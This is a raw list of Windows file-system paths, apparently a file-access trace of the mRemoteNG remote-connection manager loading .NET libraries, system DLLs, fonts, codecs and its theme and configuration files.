\Device\HarddiskVolume3\Windows\System32\WerFault.exe \Device\HarddiskVolume3\Windows\System32\WerFaultSecure.exe \Device\HarddiskVolume3\Windows\System32\WerFaultSecure.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCopyAccelerator.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCopyAccelerator.exe \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe.config \Device\HarddiskVolume3\Windows\System32\mpr.dll \Device\HarddiskVolume3\Windows\System32\ServicingCommon.dll \Device\HarddiskVolume3\Windows\appcompat\pca\PcaAppLaunchDic.txt \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\SysWOW64\ntdll.dll \Device\HarddiskVolume3\Windows\SysWOW64\ucrtbase_clr0400.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\Config \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32 \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290\mscorlib.ni.dll.aux \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5\System.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5\System.ni.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\srvcli.dll \Device\HarddiskVolume3\Windows\SysWOW64\srvcli.dll:WofCompressedData \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\11f67a51b42b5a7259cc452d68c29f98\System.Core.ni.dll.aux \Device\HarddiskVolume3\Windows\SysWOW64\rsaenh.dll \Device\HarddiskVolume3\Windows\SysWOW64\rsaenh.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\bcrypt.dll \Device\HarddiskVolume3\Windows\SysWOW64\bcrypt.dll:WofCompressedData \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b3cf609737eb90073e35cdc30c3a3c75\mscorlib.ni.dll.aux \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System\b6e2a986346601fc8ac3c6853a10e199\System.ni.dll.aux \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\11f67a51b42b5a7259cc452d68c29f98\System.Core.ni.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\virtdisk.dll \Device\HarddiskVolume3\Windows\SysWOW64\virtdisk.dll:WofCompressedData \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\9cc3554b232e42aa87d1817f20f96874\System.Xml.ni.dll.aux \Device\HarddiskVolume3\Windows\SysWOW64\DWrite.dll \Device\HarddiskVolume3\Windows\SysWOW64\DWrite.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Fonts\bahnschrift.ttf \Device\HarddiskVolume3\Windows\Fonts\calibril.ttf \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll:WofCompressedData \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736\GdiPlus.dll \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736\GdiPlus.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\wow64base.dll \Device\HarddiskVolume3\Windows\System32\wow64win.dll \Device\HarddiskVolume3\Windows\System32\wow64con.dll \Device\HarddiskVolume3\Windows\System32\wow64cpu.dll \Device\HarddiskVolume3\Windows\SysWOW64\mscoree.dll \Device\HarddiskVolume3\Windows\SysWOW64\kernel32.dll \Device\HarddiskVolume3\Windows\SysWOW64\KernelBase.dll \Device\HarddiskVolume3\Windows\SysWOW64\version.dll \Device\HarddiskVolume3\Windows\SysWOW64\vcruntime140_clr0400.dll \Device\HarddiskVolume3\Windows\SysWOW64\ucrtbase_clr0400.dll \Device\HarddiskVolume3\Windows\SysWOW64\ucrtbase_clr0400.dll \Device\HarddiskVolume3\Windows\SysWOW64\ucrtbase_clr0400.dll \Device\HarddiskVolume3\Windows\SysWOW64\psapi.dll \Device\HarddiskVolume3\Windows\SysWOW64\psapi.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290\mscorlib.ni.dll \Device\HarddiskVolume3\Windows\SysWOW64\ole32.dll \Device\HarddiskVolume3\Windows\SysWOW64\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\SysWOW64\uxtheme.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll:WofCompressedData \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System\b6e2a986346601fc8ac3c6853a10e199\System.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System\b6e2a986346601fc8ac3c6853a10e199\System.ni.dll:WofCompressedData \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System\b6e2a986346601fc8ac3c6853a10e199\System.ni.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Core \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\11f67a51b42b5a7259cc452d68c29f98\System.Core.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\c07dbfc3c6b4ad434eee98ecd8287f5b\System.Configuration.ni.dll \Device\HarddiskVolume3\Windows\SysWOW64\iertutil.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\netutils.dll \Device\HarddiskVolume3\Windows\SysWOW64\sspicli.dll \Device\HarddiskVolume3\Windows\SysWOW64\virtdisk.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\virtdisk.dll \Device\HarddiskVolume3\Windows\SysWOW64\cryptsp.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\bcrypt.dll::$EA \Device\HarddiskVolume3\Windows\appcompat\pca \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll::$EA \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\9cc3554b232e42aa87d1817f20f96874\System.Xml.ni.dll \Device\HarddiskVolume3\Windows\SysWOW64\profapi.dll \Device\HarddiskVolume3\Users\Default\AppData\Roaming \Device\HarddiskVolume3\Users\job\AppData\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave\1.76.20.24615\user.config \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.dll lisk \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll::$EA \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736 \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736\GdiPlus.dll \Device\HarddiskVolume3\Windows\SysWOW64\msctf.dll \Device\HarddiskVolume3\Windows\Fonts\micross.ttf \Device\HarddiskVolume3\Windows\SysWOW64\TextShaping.dll \Device\HarddiskVolume3\Windows\SysWOW64\TextShaping.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\TextShaping.dll \Device\HarddiskVolume3\Windows\SysWOW64\TextShaping.dll \Device\HarddiskVolume3\Windows\SysWOW64\TextShaping.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\TextShaping.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\TextShaping.dll \Device\HarddiskVolume3\Windows\SysWOW64\WindowsCodecs.dll \Device\HarddiskVolume3\Windows\SysWOW64\WindowsCodecs.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\WindowsCodecs.dll \Device\HarddiskVolume3\Windows\SysWOW64\WindowsCodecs.dll \Device\HarddiskVolume3\Windows\SysWOW64\WindowsCodecs.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\WindowsCodecs.dll::$EA \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\en-US\mRemoteNG.resources.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\en-US\mRemoteNG.resources.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\en-US\mRemoteNG.resources.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\en-US\mRemoteNG.resources.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2003.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2012.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2013.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\Themes \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\Themes \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\Themes\darcula.vstheme \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015blue.vstheme \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015dark.vstheme \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015light.vstheme \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2015.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll:WofCompressedData \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll.aux \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll:WofCompressedData \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll:WofCompressedData \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll:WofCompressedData \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a\comctl32.dll:WofCompressedData \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a\comctl32.dll \Device\HarddiskVolume3\Windows\SysWOW64\en \Device\HarddiskVolume3\Windows\SysWOW64\clbcatq.dll \Device\HarddiskVolume3\Program Files (x86)\Common Files\Microsoft Shared\ink\tiptsf.dll \Device\HarddiskVolume3\Program Files (x86)\Common Files\Microsoft Shared\ink\tiptsf.dll:WofCompressedData \Device\HarddiskVolume3\Program Files (x86)\Common Files\Microsoft Shared\ink\tiptsf.dll \Device\HarddiskVolume3\Program Files (x86)\Common Files\Microsoft Shared\ink\tiptsf.dll \Device\HarddiskVolume3\Program Files (x86)\Common Files\Microsoft Shared\ink\tiptsf.dll:WofCompressedData \Device\HarddiskVolume3\Program Files (x86)\Common Files\Microsoft Shared\ink\tiptsf.dll::$EA \Device\HarddiskVolume3\Program Files (x86)\Common Files\Microsoft Shared\ink\tiptsf.dll \Device\HarddiskVolume3\Windows\System32\msyuv.dll \Device\HarddiskVolume3\Windows\System32\msyuv.dll \Device\HarddiskVolume3\Windows\System32\imaadp32.acm \Device\HarddiskVolume3\Windows\System32\imaadp32.acm \Device\HarddiskVolume3\Windows\System32\iyuv_32.dll \Device\HarddiskVolume3\Windows\System32\iyuv_32.dll \Device\HarddiskVolume3\Windows\System32\msvidc32.dll \Device\HarddiskVolume3\Windows\System32\msvidc32.dll \Device\HarddiskVolume3\Windows\System32\msg711.acm \Device\HarddiskVolume3\Windows\System32\msg711.acm \Device\HarddiskVolume3\Windows\System32\msgsm32.acm \Device\HarddiskVolume3\Windows\System32\msgsm32.acm \Device\HarddiskVolume3\Windows\System32\tsbyuv.dll \Device\HarddiskVolume3\Windows\System32\tsbyuv.dll \Device\HarddiskVolume3\Windows\System32\msadp32.acm \Device\HarddiskVolume3\Windows\System32\msadp32.acm \Device\HarddiskVolume3\Windows\System32\msrle32.dll \Device\HarddiskVolume3\Windows\System32\msrle32.dll \Device\HarddiskVolume3\Windows\System32\l3codeca.acm \Device\HarddiskVolume3\Windows\System32\l3codeca.acm \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData 